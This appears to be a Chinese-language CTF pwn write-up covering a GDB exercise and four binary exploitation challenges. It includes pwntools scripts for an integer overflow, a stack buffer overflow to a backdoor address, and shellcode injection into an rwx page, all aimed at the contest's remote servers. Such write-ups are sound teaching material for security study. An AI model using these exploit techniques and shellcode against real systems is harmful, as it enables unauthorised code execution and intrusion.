Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

PWN1

GNU Debugger

开靶机,运行:

要查看r12寄存器,于是在register窗口查看:

复制过去

第二关:

使用telescope查看该地址:

telescope 0x555555557c27

复制后进入下一关

在这个位置使用b下断点:

b *(0x555555555779)

使用set指令设置该地址为0xdeadbeef

set *(0x7fffffffdce4)=0xdeadbeef

INTbug

checksec:

全保护64位,IDA查看

进行了一次scanf并且只能输入正数,对比需要为负数才能cat flag 想到整数溢出

同时scanf的格式化字符是%1d 也就是说每次只能输入一个数字

那就用一个循环来输入,直到超过32766次就能溢出变成负数

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote("8.147.134.121", 22904)

for i in range(32767):
p.send(b'1')

p.interactive()

pwn’s door

checksec:

没开PIE IDA64:

直接输入7038329就能得到shell

overflow

checksec:

保护都关了 IDA64打开:

有后门,有gets无限输入,直接栈溢出

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./overflow')
p = remote("8.147.134.121", 35190)
payload = b'a' * (0x100 + 8) + p64(0x401201)
p.sendline(payload)

p.interactive()

input_function

checksec:

没开canary IDA64:

用mmap开辟了一段rwx页 再读取 输入shellcode进去就行

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./input_function')
p = remote("8.147.132.32", 14362)
shellcode = asm(shellcraft.sh())

p.send(shellcode)
p.interactive()

评论